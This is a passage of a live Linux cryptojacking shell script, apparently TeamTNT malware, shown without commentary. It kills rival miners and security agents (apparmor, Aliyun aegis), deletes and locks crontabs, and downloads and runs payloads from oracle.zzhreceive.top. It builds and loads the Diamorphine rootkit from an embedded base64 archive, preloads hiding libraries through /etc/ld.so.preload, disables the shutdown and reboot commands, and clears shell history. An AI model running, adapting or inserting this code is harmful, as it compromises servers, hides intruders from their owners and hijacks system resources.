  485. rm -rf /tmp/j2.conf
  486. rm -rf /tmp/.mynews1234
  487. rm -rf /tmp/a3e12d
  488. rm -rf /tmp/.pt
  489. rm -rf /tmp/.pt.tgz
  490. rm -rf /tmp/.pt.tgz.1
  491. rm -rf /tmp/go
  492. rm -rf /tmp/java
  493. rm -rf /tmp/j2.conf
  494. rm -rf /tmp/.tmpnewasss
  495. rm -rf /tmp/java
  496. rm -rf /tmp/go.sh
  497. rm -rf /tmp/go2.sh
  498. rm -rf /tmp/khugepageds
  499. rm -rf /tmp/.censusqqqqqqqqq
  500. rm -rf /tmp/.kerberods
  501. rm -rf /tmp/kerberods
  502. rm -rf /tmp/seasame
  503. rm -rf /tmp/touch
  504. rm -rf /tmp/.p
  505. rm -rf /tmp/runtime2.sh
  506. rm -rf /tmp/runtime.sh
  507. rm -rf /dev/shm/z3.sh
  508. rm -rf /dev/shm/z2.sh
  509. rm -rf /dev/shm/.scr
  510. rm -rf /dev/shm/.kerberods
  511. rm -rf /tmp/watchdogs
  512. rm -rf /etc/cron.d/tomcat
  513. rm -rf /etc/rc.d/init.d/watchdogs
  514. rm -rf /usr/sbin/watchdogs
  515. rm -f /tmp/kthrotlds
  516. rm -f /etc/rc.d/init.d/kthrotlds
  517. rm -rf /tmp/.sysbabyuuuuu12
  518. rm -rf /tmp/logo9.jpg
  519. rm -rf /tmp/miner.sh
  520. rm -rf /tmp/nullcrew
  521. rm -rf /tmp/proc
  522. rm -rf /tmp/2.sh
  523. rm /opt/atlassian/confluence/bin/1.sh
  524. rm /opt/atlassian/confluence/bin/1.sh.1
  525. rm /opt/atlassian/confluence/bin/1.sh.2
  526. rm /opt/atlassian/confluence/bin/1.sh.3
  527. rm /opt/atlassian/confluence/bin/3.sh
  528. rm /opt/atlassian/confluence/bin/3.sh.1
  529. rm /opt/atlassian/confluence/bin/3.sh.2
  530. rm /opt/atlassian/confluence/bin/3.sh.3
  531. rm -rf /var/tmp/f41
  532. rm -rf /var/tmp/2.sh
  533. rm -rf /var/tmp/config.json
  534. rm -rf /var/tmp/xmrig
  535. rm -rf /var/tmp/1.so
  536. rm -rf /var/tmp/kworkerds3
  537. rm -rf /var/tmp/kworkerdssx
  538. rm -rf /var/tmp/kworkerds
  539. rm -rf /var/tmp/wc.conf
  540. rm -rf /var/tmp/nadezhda.
  541. rm -rf /var/tmp/nadezhda.arm
  542. rm -rf /var/tmp/nadezhda.arm.1
  543. rm -rf /var/tmp/nadezhda.arm.2
  544. rm -rf /var/tmp/nadezhda.x86_64
  545. rm -rf /var/tmp/nadezhda.x86_64.1
  546. rm -rf /var/tmp/nadezhda.x86_64.2
  547. rm -rf /var/tmp/sustse3
  548. rm -rf /var/tmp/sustse
  549. rm -rf /var/tmp/moneroocean/
  550. rm -rf /var/tmp/devtool
  551. rm -rf /var/tmp/devtools
  552. rm -rf /var/tmp/play.sh
  553. rm -rf /var/tmp/systemctI
  554. rm -rf /var/tmp/.java
  555. rm -rf /var/tmp/1.sh
  556. rm -rf /var/tmp/conf.n
  557. rm -r /var/tmp/lib
  558. rm -r /var/tmp/.lib
  559. chattr -iau /tmp/lok
  560. chmod +700 /tmp/lok
  561. rm -rf /tmp/lok
  562. sleep 1
  563. chattr -i /tmp/kdevtmpfsi
  564. echo 1 > /tmp/kdevtmpfsi
  565. chattr +i /tmp/kdevtmpfsi
  566. sleep 1
  567. chattr -i /tmp/redis2
  568. echo 1 > /tmp/redis2
  569. chattr +i /tmp/redis2
  570. chattr -ia /.Xll/xr
  571. >/.Xll/xr
  572. chattr +ia /.Xll/xr
  573. chattr -ia /etc/trace
  574. >/etc/trace
  575. chattr +ia /etc/trace
  576. chattr -ia /etc/newsvc.sh
  577. chattr -ia /etc/svc*
  578. chattr -ia /tmp/newsvc.sh
  579. chattr -ia /tmp/svc*
  580. >/etc/newsvc.sh
  581. >/etc/svcupdate
  582. >/etc/svcguard
  583. >/etc/svcworkmanager
  584. >/etc/svcupdates
  585. >/tmp/newsvc.sh
  586. >/tmp/svcupdate
  587. >/tmp/svcguard
  588. >/tmp/svcworkmanager
  589. >/tmp/svcupdates
  590. chattr +ia /etc/newsvc.sh
  591. chattr +ia /etc/svc*
  592. chattr +ia /tmp/newsvc.sh
  593. chattr +ia /tmp/svc*
  594. sleep 1
  595. chattr -ia /etc/phpupdate
  596. chattr -ia /etc/phpguard
  597. chattr -ia /etc/networkmanager
  598. chattr -ia /etc/newdat.sh
  599. >/etc/phpupdate
  600. >/etc/phpguard
  601. >/etc/networkmanager
  602. >/etc/newdat.sh
  603. chattr +ia /etc/phpupdate
  604. chattr +ia /etc/phpguard
  605. chattr +ia /etc/networkmanager
  606. chattr +ia /etc/newdat.sh
  607. chattr -ia /etc/zzh
  608. chattr -ia /etc/newinit
  609. >/etc/zzh
  610. >/etc/newinit
  611. chattr +ia /etc/zzh
  612. chattr +ia /etc/newinit
  613. sleep 1
  614. chattr -i /usr/lib/systemd/systemd-update-daily
  615. echo 1 > /usr/lib/systemd/systemd-update-daily
  616. chattr +i /usr/lib/systemd/systemd-update-daily
  617. #yum install -y docker.io || apt-get install docker.io;
  618. docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill %
  619. docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill %
  620. docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill %
  621. docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill %
  622. docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill %
  623. docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %
  624. docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill %
  625. docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill %
  626. docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill %
  627. docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill %
  628. docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f %
  629. docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rmi -f %
  630. docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f %
  631. docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rmi -f %
  632. docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rmi -f %
  633. docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rmi -f %
  634. docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rmi -f %
  635. docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rmi -f %
  636. docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi -f %
  637. docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rmi -f %
  638. docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rmi -f %
  639. #echo SELINUX=disabled >/etc/selinux/config
  640. service apparmor stop
  641. systemctl disable apparmor
  642. service aliyun.service stop
  643. systemctl disable aliyun.service
  644. ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
  645. ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
  646. rm -rf /usr/local/aegis
  647. chattr -R -ia /var/spool/cron
  648. chattr -ia /etc/crontab
  649. chattr -R -ia /etc/cron.d
  650. chattr -R -ia /var/spool/cron/crontabs
  651. crontab -r
  652. rm -rf /var/spool/cron/*
  653. rm -rf /etc/cron.d/*
  654. rm -rf /var/spool/cron/crontabs
  655. rm -rf /etc/crontab
  656. systemctl disable pnsd.service
  657. systemctl disable apache4.service
  658. systemctl stop pnsd.service
  659. service stop pnsd.service
  660. systemctl stop apache4.service
  661. service stop apache4.service
  662. sudo systemctl stop pastebin.service
  663. sudo systemctl stop xvf.service
  664. sudo systemctl daemon-reload
  665. sudo systemctl stop xvf.service
  666. sudo systemctl stop pastebin.service
  667. sudo systemctl disable xvf.service
  668. sudo systemctl disable pastebin.service
  669. sudo systemctl disable c3pool_miner.service
  670. sudo systemctl stop c3pool_miner.service
  671. rm -rf /var/.httpd/*
  672. rm -rf /etc/.httpd/*
  673. rm -rf /var/tmp/.crypto/
  674. rm -rf /var/tmp/.apache/*
  675. rm -rf /usr/share/\[ddns\]*
  676. }
  677. kill_miner_proc
  678.  
  679. kill_sus_proc()
  680. {
  681. ps axf -o "pid"|while read procid
  682. do
  683. ls -l /proc/$procid/exe | grep /tmp
  684. if [ $? -ne 1 ]
  685. then
  686. cat /proc/$procid/cmdline| grep -a -E "kswapd0"
  687. if [ $? -ne 0 ]
  688. then
  689. kill -9 $procid
  690. else
  691. echo "don't kill"
  692. fi
  693. fi
  694. done
  695. ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
  696. do
  697. cat /proc/$procid/cmdline| grep -a -E "kswapd0"
  698. if [ $? -ne 0 ]
  699. then
  700. kill -9 $procid
  701. else
  702. echo "don't kill"
  703. fi
  704. done
  705. }
  706. kill_sus_proc
  707.  
  708. #FixTheSystem
  709.  
  710. function SetupNameServers(){
  711. grep -q 8.8.8.8 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.8.8" >> /etc/resolv.conf; chattr +i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht +i /etc/resolv.conf 2>/dev/null 1>/dev/null
  712. grep -q 8.8.4.4 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.4.4" >> /etc/resolv.conf; chattr +i /etc/resolv.conf 2>/dev/null 1>/dev/null; tntrecht +i /etc/resolv.conf 2>/dev/null 1>/dev/null
  713. }
  714.  
  715. SetupNameServers
  716.  
  717.  
  718. chattr -iR /var/spool/cron/
  719. tntrecht -iR /var/spool/cron/
  720. crontab -r
  721.  
  722. function clean_cron(){
  723. chattr -R -ia /var/spool/cron
  724. tntrecht -R -ia /var/spool/cron
  725. chattr -ia /etc/crontab
  726. tntrecht -ia /etc/crontab
  727. chattr -R -ia /etc/cron.d
  728. tntrecht -R -ia /etc/cron.d
  729. chattr -R -ia /var/spool/cron/crontabs
  730. tntrecht -R -ia /var/spool/cron/crontabs
  731. crontab -r
  732. rm -rf /var/spool/cron/*
  733. rm -rf /etc/cron.d/*
  734. rm -rf /var/spool/cron/crontabs
  735. rm -rf /etc/crontab
  736. }
  737.  
  738. clean_cron
  739.  
  740.  
  741. function lock_cron()
  742. {
  743. chattr -R +ia /var/spool/cron
  744. tntrecht -R +ia /var/spool/cron
  745. touch /etc/crontab
  746. chattr +ia /etc/crontab
  747. tntrecht +ia /etc/crontab
  748. chattr -R +ia /var/spool/cron/crontabs
  749. tntrecht -R +ia /var/spool/cron/crontabs
  750. chattr -R +ia /etc/cron.d
  751. tntrecht -R +ia /etc/cron.d
  752. }
  753.  
  754. lock_cron
  755.  
  756.  
  757.  
  758.  
  759.  
  760. function back(){
  761. if [ -f "/usr/bin/bioset" ]; then
  762. echo 'FOUND: bioset'
  763. chmod +x /usr/bin/bioset
  764. cd /usr/bin && ./bioset
  765. else
  766. echo 'MISSING: bioset'
  767. loadthisfile http://oracle.zzhreceive.top/b/apa.jpg /usr/bin/bioset
  768. chmod +x /usr/bin/bioset
  769. cd /usr/bin && ./bioset
  770. fi
  771. }
  772.  
  773. function hid(){
  774. DIA_TAR='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'
  775. CHECK_WHOAMI=`whoami`
  776.  
  777. function old_school_hide(){
  778. echo "bash hide"
  779. }
  780.  
  781. function setup_dia(){
  782. chattr -ia / /etc/ /tmp/ /var/ /var/tmp/ 2>/dev/null
  783. chattr -R -ia /tmp/ /var/tmp/ 2>/dev/null
  784. chmod 1777 /tmp/ /var/tmp/ 2>/dev/null
  785.  
  786. if type yum 2>/dev/null 1>/dev/null; then yum clean all ; yum -y install gcc make kmod ; yum -y install epel-release ;yum -y install elfutils-libelf-devel; yum list|grep kernel-devel|awk '{print $1}'|xargs yum -y install; fi
  787. if type apt 2>/dev/null 1>/dev/null; then apt update --fix-missing ; apt-get -y install gcc make kmod ; apt-get -y install elfutils-libelf-devel;apt-get -y install linux-headers-$(uname -r) ; fi
  788. if type apk 2>/dev/null 1>/dev/null; then apk update 2>/dev/null 1>/dev/null; apk add linux-headers 2>/dev/null ; fi
  789.  
  790. if [ ! -d "/var/tmp/.../dia/" ]; then mkdir -p /var/tmp/.../dia/ ; fi
  791. echo $DIA_TAR | base64 -d > /var/tmp/.../dia/dia.tar.gz
  792. tar xvf /var/tmp/.../dia/dia.tar.gz -C /var/tmp/.../dia/
  793. rm -f /var/tmp/.../dia/dia.tar.gz
  794. cd /var/tmp/.../dia/
  795. kdir=/usr/src/kernels/$(uname -r)/
  796. test -d /lib/modules/$(uname -r)/build
  797. if [ $? -ne 0 ]
  798. then
  799. echo "build directory not exist,try to create soft link to /usr/src/kernels/"
  800. test -d $kdir
  801. if [ $? -ne 0 ]
  802. then
  803. echo "uname -r result is not eqel exist kernel version,try to link other version "
  804. for kdir in $(ls -lrt /usr/src/kernels/|grep -v total|awk '{print $NF}')
  805. do
  806. cd /lib/modules/$(uname -r)/ && rm -rf build && ln -s /usr/src/kernels/$kdir/ ./build
  807. cd /var/tmp/.../dia && make
  808. done
  809. else
  810. cd /lib/modules/$(uname -r)/ && rm -rf build && ln -s /usr/src/kernels/$kdir/ ./build
  811. cd /var/tmp/.../dia && make
  812. fi
  813. else
  814. echo "build directory exist ,eqel kernel version"
  815. cd /var/tmp/.../dia && make
  816. fi
  817. if [ -f "/var/tmp/.../dia/diamorphine.ko" ]; then
  818. insmod diamorphine.ko
  819. ROOTMO=`ps aux | grep -v grep | grep '/var/tmp/.copydie/\[kswapd0\].pid' | awk '{print $2}')`
  820. if [ ! -z "$ROOTMO" ]; then kill -31 $ROOTMO ; fi
  821. else echo 'build dia fail!'
  822. old_school_hide
  823. fi
  824.  
  825. }
  826. if [ "$CHECK_WHOAMI" = "root" ]; then setup_dia ; fi
  827. history -c
  828. clear
  829. }
  830.  
  831. function loadthisfile(){
  832. GETFROM=$1
  833. PUTITTO=$2
  834. if [ -f "$PUTITTO" ]; then mchattr -i $PUTITTO 2>/dev/null 1>/dev/null ; chattr -i $PUTITTO 2>/dev/null 1>/dev/null ; tntrecht -i $PUTITTO 2>/dev/null 1>/dev/null ; rm -f $PUTITTO 2>/dev/null 1>/dev/null ; fi
  835. curl -L --progress-bar $GETFROM -o $PUTITTO || cur -L --progress-bar $GETFROM -o $PUTITTO || cdl -L --progress-bar $GETFROM -o $PUTITTO || wget $GETFROM -O $PUTITTO || wge $GETFROM -O $PUTITTO || wdl $GETFROM -O $PUTITTO
  836. }
  837. function SecureTheSystem(){
  838. if [ -f /usr/local/lib/kswapd0.so ]
  839. then
  840. echo "hide file exist" 2>/dev/null 1>/dev/null
  841. grep kswapd0.so /etc/ld.so.preload
  842. if [ $? != 0 ]
  843. then
  844. chattr -ia /etc/ld.so.preload|| tntrecht -ia /etc/ld.so.preload
  845. echo -e "/usr/local/lib/pscan.so\n/usr/local/lib/bioset.so\n/usr/local/lib/mscan.so\n/usr/local/lib/kswapd0.so\n/usr/local/lib/zrab.so" >/etc/ld.so.preload
  846. chattr +ia /etc/ld.so.preload|| tntrecht +ia /etc/ld.so.preload
  847. else
  848. echo "hided"
  849. fi
  850. else
  851. grep kswapd0.so /etc/ld.so.preload
  852. if [ $? != 0 ]
  853. then
  854. chattr -ia /etc/ld.so.preload|| tntrecht -ia /etc/ld.so.preload
  855. echo -e "/usr/local/lib/pscan.so\n/usr/local/lib/bioset.so\n/usr/local/lib/mscan.so\n/usr/local/lib/kswapd0.so\n/usr/local/lib/zrab.so" >/etc/ld.so.preload
  856. chattr +ia /etc/ld.so.preload|| tntrecht +ia /etc/ld.so.preload
  857. else
  858. echo "hided"
  859. fi
  860. loadthisfile http://oracle.zzhreceive.top/hide/hide.jpg /tmp/hide.tar && tar -xf /tmp/hide.tar -C /usr/local/lib/ && rm -f /tmp/hide.tar
  861. chattr +ia /usr/local/lib/pscan.so || tntrecht +ia /usr/local/lib/pscan.so
  862. chattr +ia /usr/local/lib/mscan.so || tntrecht +ia /usr/local/lib/mscan.so
  863. chattr +ia /usr/local/lib/bioset.so || tntrecht +ia /usr/local/lib/bioset.so
  864. chattr +ia /usr/local/lib/kswapd0.so || tntrecht +ia /usr/local/lib/kswapd0.so
  865. chattr +ia /usr/local/lib/zrab.so || tntrecht +ia /usr/local/lib/zrab.so
  866. fi
  867. }
  868.  
  869. function LockDownTheSystem(){
  870. LOCKDOWNARRAY=(shutdown reboot poweroff telinit)
  871. for LOCKDOWN in ${LOCKDOWNARRAY[@]}; do
  872. LOCKDOWNBIN=`which $LOCKDOWN` 2>/dev/null 1>/dev/null
  873. chattr -i $LOCKDOWNBIN 2>/dev/null 1>/dev/null
  874. tntrecht -i $LOCKDOWNBIN 2>/dev/null 1>/dev/null
  875. chattr -x $LOCKDOWNBIN 2>/dev/null 1>/dev/null
  876. #chmod 000 $LOCKDOWNBIN 2>/dev/null 1>/dev/null
  877. chattr +i $LOCKDOWNBIN 2>/dev/null 1>/dev/null
  878. tntrecht +i $LOCKDOWNBIN 2>/dev/null 1>/dev/null
  879. done
  880.  
  881. chattr +i /proc/sysrq-trigger 2>/dev/null 1>/dev/null
  882. tntrecht +i /proc/sysrq-trigger 2>/dev/null 1>/dev/null
  883.  
  884.  
  885. LOCKDOWNFILES=("/lib/systemd/system/reboot.target" "/lib/systemd/system/systemd-reboot.service")
  886. for LOCKDOWNFILE in ${LOCKDOWNFILES[@]}; do
  887.  
  888. chattr -i $LOCKDOWNFILE 2>/dev/null 1>/dev/null
  889. tntrecht -i $LOCKDOWNFILE 2>/dev/null 1>/dev/null
  890. chattr -x $LOCKDOWNFILE 2>/dev/null 1>/dev/null
  891. > $LOCKDOWNFILE
  892. rm -f $LOCKDOWNFILE 2>/dev/null 1>/dev/null
  893. done
  894.  
  895. }
  896.  
  897.  
  898. function KILLMININGSERVICES(){
  899.  
  900. echo "[*] Removing previous miner (if any)"
  901. killall -9 xmrig
  902. echo "do KILLMININGSERVICES"
  903.  
  904. $(docker rm $(docker ps | grep -v grep | grep "/bin/bash -c 'apt" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  905. #$(docker rm $(docker ps | grep -v grep | grep "/bin/bash" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  906. $(docker rm $(docker ps | grep -v grep | grep "/root/startup.sh" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  907.  
  908. $(docker rm $(docker ps | grep -v grep | grep "widoc26117/xmr" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  909. $(docker rm $(docker ps | grep -v grep | grep "zbrtgwlxz" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  910. $(docker rm $(docker ps | grep -v grep | grep "tail -f /dev/null" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)
  911.  
  912.  
  913. rm -f /usr/bin/docker-update 2>/dev/null 1>/dev/null
  914. pkill -f /usr/bin/docker-update 2>/dev/null 1>/dev/null
  915. killall -9 docker-update 2>/dev/null 1>/dev/null
  916.  
  917. rm -f /usr/bin/redis-backup 2>/dev/null 1>/dev/null
  918. pkill -f /usr/bin/redis-backup 2>/dev/null 1>/dev/null
  919. killall -9 redis-backup 2>/dev/null 1>/dev/null
  920.  
  921. rm -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null
  922. pkill -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/null
  923. rm -fr /tmp/moneroocean/ 2>/dev/null 1>/dev/null
  924. killall -9 xmrig 2>/dev/null 1>/dev/null
  925.  
  926. LOCKFILE='IyEvYmluL2Jhc2gKZWNobyAnRm9yYmlkZGVuIGFjdGlvbiAhISEgVGVhbVROVCBpcyB3YXRjaGluZyB5b3UhJw=='
  927.  
  928. if [ ! -f /usr/bin/tntrecht ]; then
  929. chattrbin=`which chattr`
  930. cp $chattrbin /usr/bin/tntrecht 2>/dev/null 1>/dev/null
  931. chmod +x /usr/bin/tntrecht 2>/dev/null 1>/dev/null
  932. chmod -x $chattrbin 2>/dev/null 1>/dev/null
  933. tntrecht +i $chattrbin 2>/dev/null 1>/dev/null
  934. fi
  935.  
  936. LOCKFILE='IyEvYmluL2Jhc2gKZWNobyAnRm9yYmlkZGVuIGFjdGlvbiAhISEgVGVhbVROVCBpcyB3YXRjaGluZyB5b3UhJw=='
  937.  
  938. if [ -f /root/.tmp/xmrig ]; then
  939. chattr -iR /root/.tmp/ 2>/dev/null 1>/dev/null
  940. tntrecht -iR /root/.tmp/ 2>/dev/null 1>/dev/null
  941. tmpxmrig=("/root/.tmp/config.json" "/root/.tmp/config_background.json" "/root/.tmp/xmrig.log" "/root/.tmp/miner.sh" "/root/.tmp/xmrig")
  942. for tmpxmrigfile in ${tmpxmrig[@]}; do
  943. rm -f $tmpxmrigfile 2>/dev/null 1>/dev/null
  944. pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null
  945. kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null
  946. echo $LOCKFILE | base64 -d > $tmpxmrigfile
  947. chmod +x $tmpxmrigfile 2>/dev/null 1>/dev/null
  948. chattr +i $tmpxmrigfile 2>/dev/null 1>/dev/null
  949. tntrecht +i $tmpxmrigfile 2>/dev/null 1>/dev/null
  950. pkill -f $tmpxmrigfile 2>/dev/null 1>/dev/null
  951. kill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/null
  952. killall $tmpxmrigfile 2>/dev/null 1>/dev/null
  953. chmod -x /root/.tmp/xmrig 2>/dev/null 1>/dev/null
  954. rm -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null
  955. chattr +i /root/.tmp/xmrig 2>/dev/null 1>/dev/null
  956. tntrecht +i /root/.tmp/xmrig 2>/dev/null 1>/dev/null
  957. pkill -f /root/.tmp/xmrig 2>/dev/null 1>/dev/null
  958. ps ax| grep xmrig 2>/dev/null 1>/dev/null
  959. done
  960. fi
  961.  
